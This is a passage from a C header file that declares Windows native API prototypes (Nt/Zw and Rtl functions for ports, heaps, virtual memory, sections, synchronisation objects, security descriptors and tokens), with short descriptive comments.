);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE ReplyMessage\n    );\n\n/*++\n\n    NtReplyWaitReplyPort\n    ====================\n\n    Sends a reply message to a port and waits for a reply message\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that specifies the reply message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  OUT PPORT_MESSAGE ReplyMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  OUT PPORT_MESSAGE ReplyMessage\n    );\n\n/*++\n\n    NtReplyWaitReceivePort\n    ======================\n\n    Optionally sends a reply message to a port and waits for a\n    message\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    PortContext - Optionally points to a variable that receives\n        a numeric identifier associated with the port.\n\n    ReplyMessage - Optionally points to a caller-allocated buffer\n        or variable that specifies the reply message to send to the port.\n\n    ReceiveMessage - Points to a caller-allocated buffer or variable\n        that receives the message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReceivePort(\n    IN  HANDLE PortHandle,\n    OUT PVOID *PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ReplyMessage OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReceivePort(\n    IN  HANDLE PortHandle,\n    OUT PVOID *PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ReplyMessage OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage\n    );\n\n//-----------------------------------------------------------------------------\n// Heap functions\n\n#define HEAP_NO_SERIALIZE               0x00000001\n#define HEAP_GROWABLE                   0x00000002\n#define HEAP_GENERATE_EXCEPTIONS        0x00000004\n#define HEAP_ZERO_MEMORY                0x00000008\n#define HEAP_REALLOC_IN_PLACE_ONLY      0x00000010\n#define HEAP_TAIL_CHECKING_ENABLED      0x00000020\n#define HEAP_FREE_CHECKING_ENABLED      0x00000040\n#define HEAP_DISABLE_COALESCE_ON_FREE   0x00000080\n#define HEAP_CREATE_ALIGN_16            0x00010000\n#define HEAP_CREATE_ENABLE_TRACING      0x00020000\n#define HEAP_MAXIMUM_TAG                0x0FFF\n#define HEAP_PSEUDO_TAG_FLAG            0x8000\n\n//\n// Data structure for heap definition. This includes various\n// sizing parameters and callback routines, which, if left NULL,\n// result in default behavior\n//\n\ntypedef struct RTL_HEAP_PARAMETERS {\n    ULONG Length;        //sizeof(RTL_HEAP_PARAMETERS)\n    ULONG SegmentReserve;\n    ULONG SegmentCommit;\n    ULONG DeCommitFreeBlockThreshold;\n    ULONG DeCommitTotalFreeThreshold;\n    ULONG MaximumAllocationSize;\n    ULONG VirtualMemoryThreshold;\n    ULONG InitialCommit;\n    ULONG InitialReserve;\n    PVOID CommitRoutine;\n    ULONG Reserved[2];\n} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;\n\n#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap)\n\nNTSYSAPI\nHANDLE\nNTAPI\nRtlCreateHeap (\n    IN ULONG Flags,\n    IN PVOID BaseAddress OPTIONAL,\n    IN ULONG SizeToReserve,\n    IN ULONG SizeToCommit,\n    IN BOOLEAN Lock OPTIONAL,\n    IN PRTL_HEAP_PARAMETERS Definition OPTIONAL\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCreateTagHeap(\n    IN PVOID HeapHandle,\n    IN ULONG Flags,\n    IN PWSTR TagPrefix OPTIONAL,\n    IN PWSTR TagNames\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDestroyHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAllocateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN SIZE_T Size\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlReAllocateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN LPVOID Address,\n    IN SIZE_T Size\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCompactHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlLockHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlUnlockHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlSizeHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryHeapInformation (\n    IN PVOID HeapHandle,\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\n    OUT PVOID HeapInformation OPTIONAL,\n    IN SIZE_T HeapInformationLength OPTIONAL,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetHeapInformation (\n    IN PVOID HeapHandle,\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\n    IN PVOID HeapInformation OPTIONAL,\n    IN SIZE_T HeapInformationLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Virtual memory functions\n\ntypedef enum _MEMORY_INFORMATION_CLASS\n{\n    MemoryBasicInformation,                 // 0x00 MEMORY_BASIC_INFORMATION\n    MemoryWorkingSetList,\n    MemorySectionName,                      // 0x02 UNICODE_STRING\n    MemoryBasicVlmInformation,\n    MemoryWorkingSetInfoListInformatiom     // 0x04 Array of {[in]Offset, [out]Flags} to receive the image information\n} MEMORY_INFORMATION_CLASS;\n\ntypedef struct _MEMORY_WORKING_SET_ENTRY\n{\n    PVOID Address;\n    ULONG Flags;\n} MEMORY_WORKING_SET_ENTRY, *PMEMORY_WORKING_SET_ENTRY;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAllocateVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwAllocateVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFreeVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFreeVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtProtectVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG NewProtect,\n    OUT PULONG OldProtect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwProtectVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG NewProtect,\n    OUT PULONG OldProtect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesWritten OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWriteVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesWritten OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    OUT PIO_STATUS_BLOCK IoStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFlushVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    OUT PIO_STATUS_BLOCK IoStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Section functions\n\ntypedef enum _SECTION_INHERIT\n{\n    ViewShare = 1,\n    ViewUnmap = 2\n\n} SECTION_INHERIT;\n\n\ntypedef enum _SECTION_INFORMATION_CLASS\n{\n    SectionBasicInformation,\n    SectionImageInformation\n\n} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS;\n\n\n/*++\n\n    NtCreateSection\n    ===============\n\n    Creates a section object.\n\n    SectionHandle - Points to a variable that will receive the section\n        object handle if the call is successful.\n\n    DesiredAccess - Specifies the type of access that the caller requires\n        to the section object. This parameter can be zero, or any combination\n        of the following flags:\n\n        SECTION_QUERY       - Query access\n        SECTION_MAP_WRITE   - Can be written when mapped\n        SECTION_MAP_READ    - Can be read when mapped\n        SECTION_MAP_EXECUTE - Can be executed when mapped\n        SECTION_EXTEND_SIZE - Extend access\n        SECTION_ALL_ACCESS  - All of the preceding +\n                              STANDARD_RIGHTS_REQUIRED\n\n    ObjectAttributes - Points to a structure that specifies the object�s attributes.\n        OBJ_OPENLINK is not a valid attribute for a section object.\n\n    MaximumSize - Optionally points to a variable that specifies the size,\n        in bytes, of the section. If FileHandle is zero, the size must be\n        specified; otherwise, it can be defaulted from the size of the file\n        referred to by FileHandle.\n\n    SectionPageProtection - The protection desired for the pages\n        of the section when the section is mapped. This parameter can take\n        one of the following values:\n\n        PAGE_READONLY\n        PAGE_READWRITE\n        PAGE_WRITECOPY\n        PAGE_EXECUTE\n        PAGE_EXECUTE_READ\n        PAGE_EXECUTE_READWRITE\n        PAGE_EXECUTE_WRITECOPY\n\n    AllocationAttributes - The attributes for the section. This parameter must\n        be a combination of the following values:\n\n        SEC_BASED     0x00200000    // Map section at same address in each process\n        SEC_NO_CHANGE 0x00400000    // Disable changes to protection of pages\n        SEC_IMAGE     0x01000000    // Map section as an image\n        SEC_VLM       0x02000000    // Map section in VLM region\n        SEC_RESERVE   0x04000000    // Reserve without allocating pagefile storage\n        SEC_COMMIT    0x08000000    // Commit pages; the default behavior\n        SEC_NOCACHE   0x10000000    // Mark pages as non-cacheable\n\n    FileHandle - Identifies the file from which to create the section object.\n        The file must be opened with an access mode compatible with the protection\n        flags specified by the Protect parameter. If FileHandle is zero,\n        the function creates a section object of the specified size backed\n        by the paging file rather than by a named file in the file system.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN  ULONG SectionPageProtection,\n    IN  ULONG AllocationAttributes,\n    IN  HANDLE FileHandle OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN  ULONG SectionPageProtection,\n    IN  ULONG AllocationAttributes,\n    IN  HANDLE FileHandle OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSection (\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenSection (\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtMapViewOfSection (\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN SIZE_T CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PSIZE_T ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwMapViewOfSection (\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN ULONG CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PULONG ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnmapViewOfSection (\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnmapViewOfSection (\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtExtendSection (\n    IN HANDLE SectionHandle,\n    IN OUT PLARGE_INTEGER SectionSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwExtendSection (\n    IN HANDLE SectionHandle,\n    IN OUT PLARGE_INTEGER SectionSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySection (\n    IN HANDLE SectionHandle,\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\n    OUT PVOID SectionInformation,\n    IN SIZE_T Length,\n    OUT PSIZE_T ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySection (\n    IN HANDLE SectionHandle,\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\n    OUT PVOID SectionInformation,\n    IN SIZE_T Length,\n    OUT PSIZE_T ResultLength OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Synchronization\n\n//\n// Wait type\n//\n\ntypedef enum _WAIT_TYPE {\n    WaitAll,\n    WaitAny\n    } WAIT_TYPE;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForSingleObject (\n    IN HANDLE Handle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForSingleObject (\n    IN HANDLE Handle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForMultipleObjects (\n    IN ULONG Count,\n    IN HANDLE Handle[],\n    IN WAIT_TYPE WaitType,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForMultipleObjects (\n    IN ULONG Count,\n    IN HANDLE Handle[],\n    IN WAIT_TYPE WaitType,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Event support\n\ntypedef enum _EVENT_INFORMATION_CLASS {\n    EventBasicInformation    // = 0\n} EVENT_INFORMATION_CLASS;\n\ntypedef struct _EVENT_BASIC_INFORMATION {\n    EVENT_TYPE EventType;\n    LONG EventState;\n} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION;\n\n//\n// Event handling routines\n//\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClearEvent (\n    IN HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClearEvent (\n    IN HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtPulseEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwPulseEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtResetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwResetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEvent (\n    IN HANDLE EventHandle,\n    IN EVENT_INFORMATION_CLASS EventInfoClass,\n    OUT PVOID EventInfo,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEvent (\n    IN HANDLE EventHandle,\n    IN EVENT_INFORMATION_CLASS EventInfoClass,\n    OUT PVOID EventInfo,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Mutant support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateMutant(\n    OUT PHANDLE MutantHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN BOOLEAN InitialOwner\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenMutant(\n    OUT PHANDLE MutantHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReleaseMutant(\n    IN HANDLE MutantHandle,\n    IN PLONG PreviousCount OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Semaphore support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSemaphore(\n    OUT PHANDLE SemaphoreHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN ULONG InitialCount,\n    IN ULONG MaximumCount\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSemaphore(\n    OUT PHANDLE SemaphoreHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// EventPair support\n\n#define EVENT_PAIR_ALL_ACCESS ( STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE )\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEventPair(\n    OUT PHANDLE EventPairHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEventPair(\n    OUT PHANDLE EventPairHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Security descriptor functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateSecurityDescriptor (\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG Revision\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAbsoluteToSelfRelativeSD(\n    IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n    IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n    IN OUT PULONG BufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSelfRelativeToAbsoluteSD(\n    IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n    OUT PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n    IN OUT PULONG AbsoluteSecurityDescriptorSize,\n    IN OUT PACL Dacl,\n    IN OUT PULONG DaclSize,\n    IN OUT PACL Sacl,\n    IN OUT PULONG SaclSize,\n    IN OUT PSID Owner,\n    IN OUT PULONG OwnerSize,\n    IN OUT PSID PrimaryGroup,\n    IN OUT PULONG PrimaryGroupSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetOwnerSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PSID *Owner,\n    OUT PBOOLEAN OwnerDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetOwnerSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN PSID Owner OPTIONAL,\n    IN BOOLEAN OwnerDefaulted OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetGroupSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PSID *Group,\n    OUT PBOOLEAN GroupDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetGroupSecurityDescriptor(\n    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN PSID Group OPTIONAL,\n    IN BOOLEAN GroupDefaulted OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetDaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR  SecurityDescriptor,\n    OUT PBOOLEAN  DaclPresent,\n    OUT PACL  *Dacl,\n    OUT PBOOLEAN  DaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetDaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN BOOLEAN DaclPresent,\n    IN PACL Dacl OPTIONAL,\n    IN BOOLEAN DaclDefaulted OPTIONAL\n    );\n\n\nNTSTATUS\nRtlGetSaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PBOOLEAN SaclPresent,\n    OUT PACL *Sacl,\n    OUT PBOOLEAN SaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSaclSecurityDescriptor(\n    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN BOOLEAN SaclPresent,\n    IN PACL Sacl,\n    IN BOOLEAN SaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateAndInitializeSid(\n    IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n    IN UCHAR SubAuthorityCount,\n    IN ULONG SubAuthority0,\n    IN ULONG SubAuthority1,\n    IN ULONG SubAuthority2,\n    IN ULONG SubAuthority3,\n    IN ULONG SubAuthority4,\n    IN ULONG SubAuthority5,\n    IN ULONG SubAuthority6,\n    IN ULONG SubAuthority7,\n    OUT PSID *Sid\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthSid(\n    IN PSID Sid\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualSid(\n    IN PSID Sid1,\n    IN PSID Sid2\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConvertSidToUnicodeString(\n    OUT PUNICODE_STRING UnicodeString,\n    IN  PSID Sid,\n    IN  BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlFreeSid(\n    IN PSID Sid\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateAcl(\n    IN PACL Acl,\n    IN ULONG AclLength,\n    IN ULONG AclRevision\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAce(\n    IN PACL Acl,\n    IN ULONG AceIndex,\n    OUT PVOID  *Ace\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAce(\n    IN OUT PACL Acl,\n    IN ULONG AceRevision,\n    IN ACCESS_MASK AccessMask,\n    IN PSID Sid\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAceEx(\n    IN OUT PACL Acl,\n    IN ULONG AceRevision,\n    IN ULONG AceFlags,\n    IN ULONG AccessMask,\n    IN PSID Sid\n    );\n\n//-----------------------------------------------------------------------------\n// Token functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcessToken(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    OUT PHANDLE TokenHandle\n    );\n\n// Windows XP or newer\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcessTokenEx(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    OUT PHANDLE TokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThreadToken(\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN BOOLEAN OpenAsSelf,\n    OUT PHANDLE TokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    OUT PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength,\n    OUT PULONG  ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    OUT PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength,\n    OUT PULONG  ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    IN PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAdjustPrivilegesToken(\n    IN HANDLE TokenHandle,\n    IN BOOLEAN DisableAllPrivileges,\n    IN PTOKEN_PRIVILEGES NewState OPTIONAL,\n    IN ULONG BufferLength OPTIONAL,\n    IN PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n    OUT PULONG ReturnLength\n    